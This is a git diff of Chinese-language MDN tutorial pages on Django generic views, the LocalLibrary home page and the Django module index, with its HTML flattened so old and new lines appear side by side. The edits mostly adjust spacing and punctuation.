记录的数据库信息。在模板中,您可以使用名为object
或book
的模板变量(即通常为“the_model_name
”),以访问书本列表。如果需要,可以更改使用的模板,以及用于在模板中,引用该书本的上下文对象的名称。您还可以覆盖方法,例如,向上下文添加其他信息。
如果记录不存在会怎样?
-如果请求的记录不存在,那么基于类的通用详细信息视图,将自动为您引发
+Http404
异常 - 在生产环境中,这将自动显示适当的 “未找到资源” 页面,您可以根据需要自定义该页面。如果请求的记录不存在,那么基于类的通用详细信息视图,将自动为您引发
Http404
异常 - 在生产环境中,这将自动显示适当的“未找到资源”页面,您可以根据需要自定义该页面。为了让您了解其工作原理,下面的代码片段,演示了如何在不使用基于类的详细信息视图的情况下,将基于类的视图实现为函数。
@@ -373,7 +373,7 @@如果记录不存在会怎样?
-视图首先尝试从模型中,获取特定的书本记录。如果失败,则视图应引发
+Http404
异常,以指示该书本 “未找到”。然后,最后一步是使用模板名称,和上下文参数context
中的书本数据(作为字典)调用render()
。视图首先尝试从模型中,获取特定的书本记录。如果失败,则视图应引发
Http404
异常,以指示该书本“未找到”。然后,最后一步是使用模板名称,和上下文参数context
中的书本数据(作为字典)调用render()
。注意:
@@ -411,7 +411,7 @@get_object_or_404()
(如上所示)是一个方便的快捷方式,用于在未找到记录时,引发Http404
异常。创建详细信息视图模板
-注意: 上面模板中的作者链接,有一个空 URL,因为我们尚未创建作者详细信息页面。一旦创建了,您应该像这样更新URL:
+注意:上面模板中的作者链接,有一个空 URL,因为我们尚未创建作者详细信息页面。一旦创建了,您应该像这样更新 URL:
<a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a>@@ -420,19 +420,19 @@创建详细信息视图模板
虽然有点大,但此模板中的几乎所有内容,都已在前面描述过:
-
-- 我们扩展基本模板,并覆盖 “内容”区块 content。
+- 我们扩展基本模板,并覆盖“内容”区块 content。
- 我们使用条件处理,来确定是否显示特定内容。
- 我们使用
-for
循环遍历对象列表。- 我们使用 "点表示法" 访问上下文字段(因为我们使用了详细的通用视图,上下文被命名为
+book
;我们也可以使用 “object
”)。- 我们使用 "点表示法" 访问上下文字段(因为我们使用了详细的通用视图,上下文被命名为
book
;我们也可以使用“object
”)。我们以前没见过的一件有趣的事情是函数
+book.bookinstance_set.all()
。此方法由 Django “自动” 构造,以便返回与特定Book
相关联的BookInstance
记录集合。我们以前没见过的一件有趣的事情是函数
book.bookinstance_set.all()
。此方法由 Django“自动”构造,以便返回与特定Book
相关联的BookInstance
记录集合。{% for copy in book.bookinstance_set.all %} <!-- code to iterate across each copy/instance of a book --> {% endfor %}-需要此方法,是因为您仅在关系的 “一” 侧声明
+ForeignKey
(一对多)字段。由于您没有做任何事情,来声明其他(“多”)模型中的关系,因此它没有任何字段,来获取相关记录集。为了解决这个问题,Django构造了一个适当命名的 “反向查找” 函数,您可以使用它。函数的名称,是通过对声明ForeignKey
的模型名称,转化为小写来构造的,然后是_set
(即,在Book
中创建的函数是bookinstance_set()
)。需要此方法,是因为您仅在关系的“一”侧声明
ForeignKey
(一对多)字段。由于您没有做任何事情,来声明其他(“多”)模型中的关系,因此它没有任何字段,来获取相关记录集。为了解决这个问题,Django 构造了一个适当命名的“反向查找”函数,您可以使用它。函数的名称,是通过对声明ForeignKey
的模型名称,转化为小写来构造的,然后是_set
(即,在Book
中创建的函数是bookinstance_set()
)。注意: 这里我们使用
@@ -450,8 +450,8 @@all()
来获取所有记录(默认值)。虽然您可以使用filter()
方法获取代码中的记录子集,但您无法直接在模板中执行此操作,因为您无法指定函数的参数。创建详细信息视图模板
- 在模型的
-class Meta
声明中,添加排序ordering
。- Add a
-queryset
attribute in your custom class-based view, specifying aorder_by()
.在自定义基于类的视图中添加queryset属性,指定order_by()。- Adding a
+get_queryset
method to your custom class-based view and also specify theorder_by()
.将get_queryset方法添加到基于类的自定义视图中,并指定order_by()。- Add a
+queryset
attribute in your custom class-based view, specifying aorder_by()
.在自定义基于类的视图中添加 queryset 属性,指定 order_by()。- Adding a
get_queryset
method to your custom class-based view and also specify theorder_by()
.将 get_queryset 方法添加到基于类的自定义视图中,并指定 order_by()。如果您决定使用
@@ -481,7 +481,7 @@class Meta
作为作者模型Author
(可能不像定制基于类的视图那样灵活,但很容易),您最终会得到这样的结果:它看起来是什么样子?
此时,我们应该创建了显示书本列表,和书本详细信息页面所需的所有内容。运行服务器(
python3 manage.py runserver
),并打开浏览器到 http://127.0.0.1:8000/。-警告: 请还不要点击任何作者、或作者详细信息链接 - 您将在挑战练习中,创建这些链接!
+警告: 请还不要点击任何作者、或作者详细信息链接 - 您将在挑战练习中,创建这些链接!
单击所有书籍链接 All books ,以显示书籍列表。
@@ -506,7 +506,7 @@视图
model = Book paginate_by = 10 -通过添加这行,只要您有超过10条记录,视图就会开始对它发送到模板的数据,进行分页。使用 GET 参数访问不同的页面 - 要访问第2页,您将使用URL:
+/catalog/books/?page=2
。通过添加这行,只要您有超过 10 条记录,视图就会开始对它发送到模板的数据,进行分页。使用 GET 参数访问不同的页面 - 要访问第 2 页,您将使用 URL:
/catalog/books/?page=2
。模板
@@ -534,15 +534,15 @@模板
{% endif %} {% endblock %} -+
page_obj
是一个 Paginator 对象,如果在当前页面上使用分页,它将存在。 它允许您获取有关当前页面,之前页面,有多少页面等的所有信息。-
page_obj
是一个 Paginator 对象,如果在当前页面上使用分页,它将存在。它允许您获取有关当前页面,之前页面,有多少页面等的所有信息。我们使用
+\{{ request.path }}
,来获取用于创建分页链接的当前页面URL。 这很有用,因为它独立于我们正在分页的对象。我们使用
\{{ request.path }}
,来获取用于创建分页链接的当前页面 URL。这很有用,因为它独立于我们正在分页的对象。就是这样!
它看起来是什么样子的?
-下面的屏幕截图,显示了分页的样子 - 如果您没有在数据库中输入超过10个标题,那么您可以通过降低 catalog/views.py 文件中
+paginate_by
行指定的数量,来更轻松地测试它。 为了得到以下结果,我们将其更改为paginate_by = 2
。下面的屏幕截图,显示了分页的样子 - 如果您没有在数据库中输入超过 10 个标题,那么您可以通过降低 catalog/views.py 文件中
paginate_by
行指定的数量,来更轻松地测试它。为了得到以下结果,我们将其更改为paginate_by = 2
。分页链接显示在底部,根据您所在的页面,显示下一个/上一个链接。
@@ -550,7 +550,7 @@它看起来是什么样子的?
挑战自己 -本文中的挑战,是创建完成项目所需的作者详细信息视图,和列表视图。这些应在以下URL中提供:
+本文中的挑战,是创建完成项目所需的作者详细信息视图,和列表视图。这些应在以下 URL 中提供:
- @@ -565,8 +565,8 @@
catalog/authors/
— 所有作者的名单。挑战自己
注意:
-
- 为作者列表页面,创建URL映射器之后,还需要更新基本模板中的所有作者 All authors 链接。按照我们更新“所有图书”All books 链接时,所做的相同过程。
-- 为作者详细信息页面,创建URL映射器之后,还应更新书本详细信息视图模板(/locallibrary/catalog/templates/catalog/book_detail.html),以便作者链接,指向新的作者详细信息页面(而不是一个空的URL)。该行将更改为添加下面以粗体显示的模板标记。 +
- 为作者列表页面,创建 URL 映射器之后,还需要更新基本模板中的所有作者 All authors 链接。按照我们更新“所有图书”All books 链接时,所做的相同过程。
+- 为作者详细信息页面,创建 URL 映射器之后,还应更新书本详细信息视图模板(/locallibrary/catalog/templates/catalog/book_detail.html),以便作者链接,指向新的作者详细信息页面(而不是一个空的 URL)。该行将更改为添加下面以粗体显示的模板标记。
@@ -589,9 +589,9 @@<p><strong>Author:</strong> <a href="{% url 'author-detail' book.author.pk %}">\{{ book.author }}</a></p>总结
恭喜,我们的图书馆的基本功能现在完成了!
-本文中,我们学到如何使用基于类别的通用列表视图与详细视图,并使用它们创建页面,以查看我们的书本和作者。在此过程中,我们了解了与正则表达式匹配的模式,以及如何将数据从URL传递到视图。我们还学习了一些使用模板的技巧。最后,我们已经展示了如何对列表视图进行分页,这样即使我们有很多记录,我们也可以管理列表。
+本文中,我们学到如何使用基于类别的通用列表视图与详细视图,并使用它们创建页面,以查看我们的书本和作者。在此过程中,我们了解了与正则表达式匹配的模式,以及如何将数据从 URL 传递到视图。我们还学习了一些使用模板的技巧。最后,我们已经展示了如何对列表视图进行分页,这样即使我们有很多记录,我们也可以管理列表。
-在我们的下一篇文章,我们将扩充此图书馆,以支持使用者帐户,并从而演示使用者授权、许可、授权、会话, 以及表单。
+在我们的下一篇文章,我们将扩充此图书馆,以支持使用者帐户,并从而演示使用者授权、许可、授权、会话,以及表单。
参见
@@ -612,7 +612,7 @@本教程
- Django 介绍
- 架设 Django 开发环境
-- Django 教程: 本地图书馆网站
+- Django 教程:本地图书馆网站
- Django 教程 2: 创建骨架站点
- Django 教程 3: 使用模型
- Django 教程 4: Django 管理站点
diff --git a/files/zh-cn/learn/server-side/django/home_page/index.html b/files/zh-cn/learn/server-side/django/home_page/index.html index 0583f0dff66caf..14ed000d82b0c6 100644 --- a/files/zh-cn/learn/server-side/django/home_page/index.html +++ b/files/zh-cn/learn/server-side/django/home_page/index.html @@ -8,66 +8,66 @@{{PreviousMenuNext("Learn/Server-side/Django/Admin_site", "Learn/Server-side/Django/Generic_views", "Learn/Server-side/Django")}}-我们现在可以添加代码来显示我们的第一个完整页面 - LocalLibrary 网站的主页,显示每个模型类型有多少条记录,并提供我们其他页面的侧边栏导航链接。一路上,我们将获得编写基本URL地图和视图,从数据库获取记录以及使用模板的实践经验。
+我们现在可以添加代码来显示我们的第一个完整页面 - LocalLibrary 网站的主页,显示每个模型类型有多少条记录,并提供我们其他页面的侧边栏导航链接。一路上,我们将获得编写基本 URL 地图和视图,从数据库获取记录以及使用模板的实践经验。
- 前提: +前提: 读 the Django Introduction. 完成上章节 (including Django Tutorial Part 4: Django admin site). - 目的: -了解如何创建简单的URL映射和视图(没有数据编码在URL中)以及如何从模型中获取数据并创建模版。 +目的: +了解如何创建简单的 URL 映射和视图(没有数据编码在 URL 中)以及如何从模型中获取数据并创建模版。 概要
-现在我们已经定义了我们的模型,并创建了一些初始库记录来处理,现在是编写代码以向用户呈现该信息的时候了。我们需要做的第一件事是确定我们希望能够在我们的页面中显示哪些信息,然后为返回这些资源定义适当的URL。那么我们将需要创建一个url映射器,视图和模板来显示这些页面。
+现在我们已经定义了我们的模型,并创建了一些初始库记录来处理,现在是编写代码以向用户呈现该信息的时候了。我们需要做的第一件事是确定我们希望能够在我们的页面中显示哪些信息,然后为返回这些资源定义适当的 URL。那么我们将需要创建一个 url 映射器,视图和模板来显示这些页面。
以下图表提供了处理HTTP请求/响应时需要实现的数据和事情的主要流程。我们已经创建了这个模型,我们需要创建的主要内容是:
-
-- URL映射-根据-支持的URL(以及任何编码在URL里的信息)跳转到相应的View功能函数。
-- View 函数从模型中获取请求的数据,创建一个显示数据的HTML页面,并将其返回给用户在浏览器查看。
-- Templates 在View视图中进行数据渲染的时候使用。
+- URL 映射 - 根据 - 支持的 URL(以及任何编码在 URL 里的信息)跳转到相应的View功能函数。
+- View 函数从模型中获取请求的数据,创建一个显示数据的 HTML 页面,并将其返回给用户在浏览器查看。
+- Templates 在 View 视图中进行数据渲染的时候使用。
正如你将在下一节中看到的,我们将要显示5个页面,这在一篇文章中是很重要的。因此,本文的大部分内容将重点介绍如何实现主页(我们将在随后的文章中介绍其他页面)。这应该让您对URL映射器,视图和模型在实践中如何工作有一个很好的端到端的了解。
+正如你将在下一节中看到的,我们将要显示 5 个页面,这在一篇文章中是很重要的。因此,本文的大部分内容将重点介绍如何实现主页(我们将在随后的文章中介绍其他页面)。这应该让您对 URL 映射器,视图和模型在实践中如何工作有一个很好的端到端的了解。
-定义资源URL
+定义资源 URL
-由于本版本的LocalLibrary对于最终用户本质上是只读的,所以我们只需要为该网站(主页)提供一个着陆页,以及显示书籍和作者的列表和详细视图的页面。
+由于本版本的 LocalLibrary 对于最终用户本质上是只读的,所以我们只需要为该网站(主页)提供一个着陆页,以及显示书籍和作者的列表和详细视图的页面。
-下面这些URL 是我们页面需要的:
+下面这些 URL 是我们页面需要的:
-
catalog/
— 主页catalog/books/
— 书单页- -
catalog/authors/
— 作者页- -
catalog/book/<id>
— 主键字段 ID的具体书(默认) —详细视图。如下例子/catalog/book/3
,第三本书。- +
catalog/author/<id>
— 主键字段 ID的具体作者(默认) —详细视图。如下例子/catalog/author/11
,第11个作者。- +
catalog/book/<id>
— 主键字段 ID 的具体书(默认) —详细视图。如下例子/catalog/book/3
,第三本书。catalog/author/<id>
— 主键字段 ID 的具体作者(默认) —详细视图。如下例子/catalog/author/11
,第 11 个作者。前三个URL用于列出索引,书籍和作者。这些不会对任何附加信息进行编码,而返回的结果将取决于数据库中的内容,运行获取信息的查询将始终保持一致。
+前三个 URL 用于列出索引,书籍和作者。这些不会对任何附加信息进行编码,而返回的结果将取决于数据库中的内容,运行获取信息的查询将始终保持一致。
-相比之下,最后两个URL用于显示有关特定书籍或作者的详细信息 - 这些URL将编码要显示在URL中的项目的标识(如上所示<id>)。URL映射器可以提取编码信息并将其传递给视图,然后将动态地确定从数据库获取哪些信息。通过对我们的URL中的信息进行编码,我们只需要一个URL映射,视图和模板来处理每本书(或作者)。
+相比之下,最后两个 URL 用于显示有关特定书籍或作者的详细信息 - 这些 URL 将编码要显示在 URL 中的项目的标识(如上所示<id>)。URL 映射器可以提取编码信息并将其传递给视图,然后将动态地确定从数据库获取哪些信息。通过对我们的 URL 中的信息进行编码,我们只需要一个 URL 映射,视图和模板来处理每本书(或作者)。
-注意:Django允许您以任何您喜欢的方式构建您的URL - 您可以如上所示编码URL正文中的信息,或使用URL
GET
参数(例如/book/?id=6
)。无论您使用哪种方法,URL都应保持清洁,逻辑和可读性 (check out the W3C advice here).
+注意:Django 允许您以任何您喜欢的方式构建您的 URL - 您可以如上所示编码 URL 正文中的信息,或使用 URL
+ Django 文档倾向于在 URL 的主体中推荐编码信息,这是他们觉得鼓励更好的 URL 设计的实践。GET
参数(例如/book/?id=6
)。无论您使用哪种方法,URL 都应保持清洁,逻辑和可读性 (check out the W3C advice here).
- Django文档倾向于在URL的主体中推荐编码信息,这是他们觉得鼓励更好的URL设计的实践。如概述,本文其余部分介绍如何构建索引页
创建索引页
-我们创建的第一个页面将会是索引页(catalog/)。这会显示一些静态HTML,以及数据库中不同记录的一些计算的“计数“。为了使其工作,我们必须创建一个URL映射,视图和模版。
+我们创建的第一个页面将会是索引页(catalog/)。这会显示一些静态 HTML,以及数据库中不同记录的一些计算的“计数“。为了使其工作,我们必须创建一个 URL 映射,视图和模版。
注意: 本节应该特别注意。一些”材料“在所有页面都通用。
@@ -75,7 +75,7 @@创建索引页
URL 映射
-在我们创建的基础网站上,更新 /locallibrary/urls.py 文件。以确保每当收到以
+catalog/
开头的URL时,URLConf模块中的catalog.urls 会处理剩余的字符串。在我们创建的基础网站上,更新 /locallibrary/urls.py 文件。以确保每当收到以
catalog/
开头的 URL 时,URLConf 模块中的catalog.urls 会处理剩余的字符串。打开 catalog/urls.py ,复制下面代码
@@ -83,21 +83,21 @@URL 映射
path('', views.index, name='index'), ] -如果检测到URL模式'',(views.index——在view.py中函数命名index() )将被调用。URL模式是Python 正则表达式 (RE)。我们将在本教程中进一步介绍RE。
+如果检测到 URL 模式'',(views.index——在 view.py 中函数命名 index() )将被调用。URL 模式是Python 正则表达式 (RE)。我们将在本教程中进一步介绍 RE。
--注意: 在 /locallibrary/locallibrary/urls.py
+注意:在 /locallibrary/locallibrary/urls.py
-urlpatterns += [ path('catalog/', include('catalog.urls')), ]
每当Django 使用 include() (
+django.conf.urls.include()),
它排除与该点 匹配URL的任何部分,并将剩余的字符串发送到随附的 URLconf 进行一步处理。
每当 Django 使用 include() (
-django.conf.urls.include()),
它排除与该点 匹配URL的任何部分,并将剩余的字符串发送到随附的 URLconf 进行一步处理。
匹配的URL 实际上是
+catalog/
+<空字符串> (/catalog/
假定是因为include()
是使用的方法)。如果我们收到一个URL的HTTP请求,我们的第一个视图函数将被调用/catalog/。
匹配的 URL 实际上是
catalog/
+<空字符串> (/catalog/
假定是因为include()
是使用的方法)。如果我们收到一个 URL 的 HTTP 请求,我们的第一个视图函数将被调用/catalog/。
此函数还说明了一个
+name
参数,此唯一标识指定 URL 映射。你可以使用 "reverse" 映射—去动态创建指定映射设计处理的资源的一个URL。例如,我们现在可以通过在我们的模版中创建以下链接到我们的主页:此函数还说明了一个
name
参数,此唯一标识指定 URL 映射。你可以使用 "reverse" 映射—去动态创建指定映射设计处理的资源的一个 URL。例如,我们现在可以通过在我们的模版中创建以下链接到我们的主页:<a href="{% url 'index' %}">Home</a>.@@ -107,9 +107,9 @@URL 映射
View (基于功能)
-视图是处理HTTP请求的功能,根据需要从数据库获取数据,通过使用HTML模板呈现此数据生成HTML页面,然后以HTTP响应返回HTML以显示给用户。索引视图遵循此模型 - 它提取有关数据库中有多少
+Book
,BookInstance
可用BookInstance
和Author
记录的信息,并将其传递给模板以进行显示。视图是处理 HTTP 请求的功能,根据需要从数据库获取数据,通过使用 HTML 模板呈现此数据生成 HTML 页面,然后以 HTTP 响应返回 HTML 以显示给用户。索引视图遵循此模型 - 它提取有关数据库中有多少
-Book
,BookInstance
可用BookInstance
和Author
记录的信息,并将其传递给模板以进行显示。打开catalog / views.py,并注意该文件已经导入了 使用模板和数据生成HTML文件的 render() 快捷方式函数。
+打开 catalog / views.py,并注意该文件已经导入了 使用模板和数据生成 HTML 文件的 render() 快捷方式函数。
from django.shortcuts import render @@ -138,23 +138,23 @@-View (基于功能)
context={'num_books':num_books,'num_instances':num_instances,'num_instances_available':num_instances_available,'num_authors':num_authors}, )视图函数的第一部分使用
+objects.all()
模型类的属性来获取记录计数。它还会获取一个BookInstance
状态字段值为“a”(可用)的对象列表。您可以在前面的教程 (Django Tutorial Part 3: Using models > Searching for records)中找到更多关于如何访问模型的信息。视图函数的第一部分使用
-objects.all()
模型类的属性来获取记录计数。它还会获取一个BookInstance
状态字段值为“a”(可用)的对象列表。您可以在前面的教程 (Django Tutorial Part 3: Using models > Searching for records) 中找到更多关于如何访问模型的信息。在函数结束时,我们将该函数称为
+render()
创建和返回HTML页面作为响应(此快捷方式函数包含许多其他函数,简化了这种非常常见的用例)。它将原始request
对象(an HttpRequest)作为参数,具有数据占位符的HTML模板以及context
变量(包含要插入到这些占位符中的数据的Python字典)。在函数结束时,我们将该函数称为
render()
创建和返回 HTML 页面作为响应(此快捷方式函数包含许多其他函数,简化了这种非常常见的用例)。它将原始request
对象(an HttpRequest)作为参数,具有数据占位符的 HTML 模板以及context
变量(包含要插入到这些占位符中的数据的 Python 字典)。我们将在下一节中详细介绍模板和上下文变量; 让我们创建我们的模板,以便我们可以向用户显示一些内容
模版
-模版是定义一个文件(例如HTML页面)的结构与布局的文本文件,其中占位符用于表示实际内容。Django将自动在应用程序“templates”目录查找模版。所以例如,在我们刚刚加的索引页,
+render()
函数会期望能够找到/locallibrary/catalog/templates/index.html这个文件,如何找不到该文件,则会引发错误。如果保存以前的更改并返回到浏览器,你可以看到访问127.0.0.1:8000 现在将提供你一个相当直观的错误信息
"TemplateDoesNotExist at /catalog/“以及其他详细信息。模版是定义一个文件(例如 HTML 页面)的结构与布局的文本文件,其中占位符用于表示实际内容。Django 将自动在应用程序“templates”目录查找模版。所以例如,在我们刚刚加的索引页,
render()
函数会期望能够找到/locallibrary/catalog/templates/index.html这个文件,如何找不到该文件,则会引发错误。如果保存以前的更改并返回到浏览器,你可以看到访问127.0.0.1:8000 现在将提供你一个相当直观的错误信息
"TemplateDoesNotExist at /catalog/“以及其他详细信息。-注意: Django 将根据你的项目的设置文件, 来查看模版的许多位置 (在已安装的应用程序中进行搜索是默认设置). 你可以查阅更多关于Django如何找到模版以及它支持的模版格式在(Templates )。
+注意: Django 将根据你的项目的设置文件,来查看模版的许多位置 (在已安装的应用程序中进行搜索是默认设置). 你可以查阅更多关于 Django 如何找到模版以及它支持的模版格式在(Templates )。
扩展模版
-索引模版将需要标准的HTML标记头部和正文,以及用于导航的部分(去我们尚为创建的网站其他的页面)以及显示一些介绍文本和我们书籍数据。我们网站上的每一页,大部分文字(HTML和导航结构)都是一样的。Django模版语言不是强制开发人员在每个页面中复制这个“样板”,而是让你声明一个基本模版,然后再扩展它,仅替换每个特定页面不同的位置。
+索引模版将需要标准的 HTML 标记头部和正文,以及用于导航的部分(去我们尚为创建的网站其他的页面)以及显示一些介绍文本和我们书籍数据。我们网站上的每一页,大部分文字(HTML 和导航结构)都是一样的。Django 模版语言不是强制开发人员在每个页面中复制这个“样板”,而是让你声明一个基本模版,然后再扩展它,仅替换每个特定页面不同的位置。
例如,基本模版
@@ -177,7 +177,7 @@base_generic.html
可能看起来像下面的文本。正如你所见的,它包含一些“常见“HTML”和标题,侧边栏和使用命名block
和endblock
模版标记(粗体显示)标记的内容部分。块可以是空的,或者包含将被派生页“默认使用”的内容。扩展模版
当我们要为特定视图定义一个模版时,我们首先指定基本模版(使用
-extends
模版标签—查看下一个代码片段)。如果我们想要在模版中替换的章节,会使用相同的block/endblock
部分在基本模版表明。例如,下面我们使用
+extends
模版标签,并覆盖content
块。生成的最终HTML页面将具有基本模版中定义的所以HTML和结构(包括你在title
块中定义的默认内容),但你新的content
块插入到了默认的那块。例如,下面我们使用
extends
模版标签,并覆盖content
块。生成的最终 HTML 页面将具有基本模版中定义的所以 HTML 和结构(包括你在title
块中定义的默认内容),但你新的content
块插入到了默认的那块。@@ -188,9 +188,9 @@
base_generic.html
详细会在下文中,请耐心往下看。扩展模版
<p>Welcome to <em>LocalLibrary</em>, a very basic Django website developed as a tutorial example on the Mozilla Developer Network.</p> {% endblock %} -本地图书馆-基本模版
+本地图书馆 - 基本模版
-下面就是我们计划的基本模版用于本地图书馆网站。正如所看到的,内容包括一些HTML和定义块
+title
,sidebar
和content
。我们有默认的title
(当然我们可以改)和默认的所以书籍和作者的链接列表sidebar
(我们可能并不会怎么改,但需要时,我们通过把想法放入块block
中,比如想法是—允许范围)。下面就是我们计划的基本模版用于本地图书馆网站。正如所看到的,内容包括一些 HTML 和定义块
title
,sidebar
和content
。我们有默认的title
(当然我们可以改)和默认的所以书籍和作者的链接列表sidebar
(我们可能并不会怎么改,但需要时,我们通过把想法放入块block
中,比如想法是—允许范围)。-注意: 我们再介绍两个额外的模版标签:
@@ -237,9 +237,9 @@url
和load static
。下文中我们会详细介绍。本地图书馆-基本模版
</body> </html> -该模版使用(并包含)JavaScript 和 Bootstrap (css框架)来改进HTML页面的布局和显示,这个框架或者另一个客户端网络框架,这是快速创建一个可用页面来适应在不同浏览器尺寸和允许我们处理页面呈现且不用一点细节—我们只需要专注在服务器端。
+该模版使用(并包含)JavaScript 和 Bootstrap (css 框架)来改进 HTML 页面的布局和显示,这个框架或者另一个客户端网络框架,这是快速创建一个可用页面来适应在不同浏览器尺寸和允许我们处理页面呈现且不用一点细节—我们只需要专注在服务器端。
-基本模版还引用了一个本地css文件 (styles.css) ,它提供了一些额外的样式。 新建 /locallibrary/catalog/static/css/styles.css 如下:
+基本模版还引用了一个本地 css 文件 (styles.css) ,它提供了一些额外的样式。新建 /locallibrary/catalog/static/css/styles.css 如下:
.sidebar-nav { margin-top: 20px; @@ -249,7 +249,7 @@本地图书馆-基本模版
索引模版
-新建HTML文件 /locallibrary/catalog/templates/index.html 写入下面代码。第一行我们扩展了我们的基本模版, 使用
+content
替换默认块。新建 HTML 文件 /locallibrary/catalog/templates/index.html 写入下面代码。第一行我们扩展了我们的基本模版,使用
content
替换默认块。{% extends "base_generic.html" %} @@ -274,10 +274,10 @@索引模版
注意:由于本网站就是通过django 来运维,
\{{
的模版标签 在上面代码中会运行,只能通过增加\
来转义,而不能直接写出“双大括号”。在动态内容部分,我们的占位符(模版变量),是给我们想要视图的信息声明。变量使用“双大括号“ 或者“句柄“语法进行标记。
+在动态内容部分,我们的占位符(模版变量),是给我们想要视图的信息声明。变量使用“双大括号“或者“句柄“语法进行标记。
-注意: 你可以轻松地识别是否使用变量或模版标签(函数),因为变量具有双括号(
+\{{ num_books }}
) 而标记被包含在带有百分比符号 ({% extends "base_generic.html" %}
)的单个大括号中。注意: 你可以轻松地识别是否使用变量或模版标签(函数),因为变量具有双括号 (
\{{ num_books }}
) 而标记被包含在带有百分比符号 ({% extends "base_generic.html" %}
) 的单个大括号中。这里要注意的重要事情是这些变量用我们视图函数
@@ -290,7 +290,7 @@render
中的字典—注入context
(下面);当渲染模版时,这些将替换为相关联的值。索引模版
在模版中引用静态文件
-你的项目可能会使用静态资源,包括javascript,css 和图像。由于这些文件的位置可能不知道(或者可能会发生变化),则Django允许你指定你的模版相对于这些文件的位置
+STATIC_URL
全局设置(默认基本网站设置的值STATIC_URL
,以“/static/
”,但你可能选择在CDN和其他地方托管内容)。你的项目可能会使用静态资源,包括javascript,css 和图像。由于这些文件的位置可能不知道(或者可能会发生变化),则 Django 允许你指定你的模版相对于这些文件的位置
STATIC_URL
全局设置(默认基本网站设置的值STATIC_URL
,以“/static/
”,但你可能选择在 CDN 和其他地方托管内容)。在模版中,你首先调用
@@ -305,23 +305,23 @@load
指定“static
”去添加此模版库(如下)。静态加载后,你可以使用static
模版标签,指定感兴趣的文件相对URL
在模版中引用静态文件
-主题: 上面的更改指定文件所在的位置,但Django默认不提供它们。当我们created the website skeleton,我们在全局URL映射器r (/locallibrary/locallibrary/urls.py) 中开发Web服务器提供服务,你仍然需要安排它们在生产中投放。我们接下来看一看
+主题: 上面的更改指定文件所在的位置,但 Django 默认不提供它们。当我们created the website skeleton,我们在全局 URL 映射器 r (/locallibrary/locallibrary/urls.py) 中开发 Web 服务器提供服务,你仍然需要安排它们在生产中投放。我们接下来看一看
更多内容—Managing static files (Django docs).
-链接URLs
+链接 URLs
基本的模版引入
url
模版标签<li><a href="{% url 'index' %}">Home</a></li>-此标记
+url()
使用您的urls.py中调用的函数的名称 和相关视图将从该函数接收的任何参数的值,并返回可用于链接到该资源的URL。此标记
url()
使用您的urls.py中调用的函数的名称 和相关视图将从该函数接收的任何参数的值,并返回可用于链接到该资源的 URL。它看起来什么样?
-运行 (
+python3 manage.py runserver
) 和在浏览器中打开 http://127.0.0.1:8000/. I如果一切都正确设置,当当当当。运行 (
@@ -341,7 +341,7 @@python3 manage.py runserver
) 和在浏览器中打开 http://127.0.0.1:8000/. I 如果一切都正确设置,当当当当。挑战自己
概要
-我们现在已经为我们的网站创建了主页 - 一个HTML页面,显示数据库中的一些记录数,并且链接到我们其他尚待创建的页面。一路上,我们已经学到了很多有关url映射器,视图,使用我们的模型查询数据库的基本信息,如何从您的视图传递信息到模板,以及如何创建和扩展模板。
+我们现在已经为我们的网站创建了主页 - 一个 HTML 页面,显示数据库中的一些记录数,并且链接到我们其他尚待创建的页面。一路上,我们已经学到了很多有关 url 映射器,视图,使用我们的模型查询数据库的基本信息,如何从您的视图传递信息到模板,以及如何创建和扩展模板。
在我们的下一篇文章中,我们将基于我们的知识来创建其他四个页面。
diff --git a/files/zh-cn/learn/server-side/django/index.html b/files/zh-cn/learn/server-side/django/index.html index 31b25e0d6559c9..7a03df20ddbedf 100644 --- a/files/zh-cn/learn/server-side/django/index.html +++ b/files/zh-cn/learn/server-side/django/index.html @@ -1,5 +1,5 @@ --- -title: Django Web 框架(python) +title: Django Web 框架 (python) slug: learn/Server-side/Django translation_of: Learn/Server-side/Django --- @@ -9,7 +9,7 @@先决条件
-开始学习本模块并不需要任何 Django 知识. 但您要理解什么是服务器端网络编程、什么是网络框架,最好能够阅读我们的服务端网站编程的第一步模块。
+开始学习本模块并不需要任何 Django 知识。但您要理解什么是服务器端网络编程、什么是网络框架,最好能够阅读我们的服务端网站编程的第一步模块。
最好能有基本的编程概念并了解 Python 语言,但其并不是理解本教程的核心概念的必然条件。
@@ -20,39 +20,39 @@先决条件
指南
-
- Django简介
-- 在第一篇关于Django的文章里,我们会回答"什么是Django?",并概述这个网络框架的特殊之处.我们会列出主要的功能,包括一些高级的功能特性,这些高级特性我们在这部分教程里没有时间详细说明.在你设置好Django应用并开始把玩它之前,我们会展示Django应用的一些主要模块,让你明白Django应用能做什么.
-- 创建Django开发环境
-- 现在你知道Django是做什么的,我们会展示怎样在Windows, Linux(Ubuntu)和Mac OS X上创建和测试Django的开发环境—不管你是用什么操作系统,这篇文章会教给你能够开发Django应用所需要的开发环境.
-- Django教程1:本地图书馆网站
-- 我们实用教程系列的第一篇文章会解释你将学习到什么,并提供"本地图书馆"网站这个例子的概述.我们会在接下来的文章里完成并不断的进化这个网站.
-- Django教程2:创建网站的框架
-- 这篇文章会教你怎样创建一个网站的"框架".以这个网站为基础,你可以填充网站特定的settings,urls, models,views和templates
-- Django教程3:使用模型
-- 这篇文章会为 本地图书馆 网站定义数据模板—数据模板是我们为应用存储的数据结构.并且允许Django在数据库中存储数据(以后可以修改).文章解释了什么是数据模板,怎样声明它和一些主要的数据种类.文章还简要的介绍了一些你可以获得数据模板的方法.
+- Django 简介
+- 在第一篇关于 Django 的文章里,我们会回答"什么是 Django?",并概述这个网络框架的特殊之处。我们会列出主要的功能,包括一些高级的功能特性,这些高级特性我们在这部分教程里没有时间详细说明。在你设置好 Django 应用并开始把玩它之前,我们会展示 Django 应用的一些主要模块,让你明白 Django 应用能做什么。
+- 创建 Django 开发环境
+- 现在你知道 Django 是做什么的,我们会展示怎样在 Windows, Linux(Ubuntu) 和 Mac OS X 上创建和测试 Django 的开发环境—不管你是用什么操作系统,这篇文章会教给你能够开发 Django 应用所需要的开发环境。
+- Django 教程 1:本地图书馆网站
+- 我们实用教程系列的第一篇文章会解释你将学习到什么,并提供"本地图书馆"网站这个例子的概述。我们会在接下来的文章里完成并不断的进化这个网站。
+- Django 教程 2:创建网站的框架
+- 这篇文章会教你怎样创建一个网站的"框架".以这个网站为基础,你可以填充网站特定的 settings,urls, models,views 和 templates
+- Django 教程 3:使用模型
